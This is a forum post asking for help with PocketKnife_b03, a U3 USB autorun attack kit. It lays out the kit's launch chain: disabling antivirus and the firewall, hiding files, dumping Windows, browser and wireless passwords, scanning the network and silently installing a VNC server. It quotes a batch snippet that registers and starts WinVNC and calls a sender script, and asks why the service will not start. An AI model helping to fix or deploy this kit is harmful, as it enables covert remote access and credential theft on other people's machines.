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PocketKnife_b03 and VNC install


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Hi all,

I've been getting stuck into U3 USB hacking for research purposes.

I found a nice package called PocketKnife_b03 which I found on these forums, downloaded it and installed it.  It's a smart package.  You can see below what its functions are:

Batch File Hierarchy:


|Current Launch Order Hierarchy:

|- Autorun. ini / Manual_Scan. CMD

|  - Start. bat

|      - csrss. exe (avkill)

|      - disable_firewall. bat

|      - (*broken*) enable_rdp. bat

|      - hidefiles. bat

|        - HideHiddenFiles. reg

|        - HideSystemFiles. reg

|      - go. cmd

|        - pwdump. exe

|        - produkey. exe

|        - pspv. exe

|        - lsadump. exe

|        - netpass. exe

|        - mspass. exe

|        - iepv. exe

|        - wkv. exe

|        - DUH. vbs

|        - FirePassword. exe

|      - (*broken*) port_scan. bat

|      - moddump. bat

|        - External_IP. bat

|      - SBS. vbs

|      - vnc. cmd

|      - nmap. cmd

|      - slurp. bat

|      - slurp2. bat

|      - opendrive. bat

Some of the functions did not work and I had to make some modifications to get them functional.

Below is a snippet of vnc. cmd from the WIPCMD directory:

:: Here are some regedit entries which have to be there, to allow the VNC Server to run as a service

regedit /s . . /CMD/vncdmp. reg

regedit /s . . /CMD/vncdmp1. reg

regedit /s . . /CMD/vncdmp2. reg

:: A little pause before. . .

ping -n 1 localhost  > nul

:: . . . we start the VNC Service.

net start WinVNC

nircmd. exe execmd CALL WIPVNCsend. cmd


After the registry installs, the WinVNC service does not start.  I have also run through this batch file manually and done the registry installs manually, but still the WinVNC service does not start.  Does the machine need to be restarted after a registry change ? is this why the WinVNC service does not start ?

I can upload the reg files  on the forum if needed.  Just ask.

Thanks in advance.

Happy Hacking  :P

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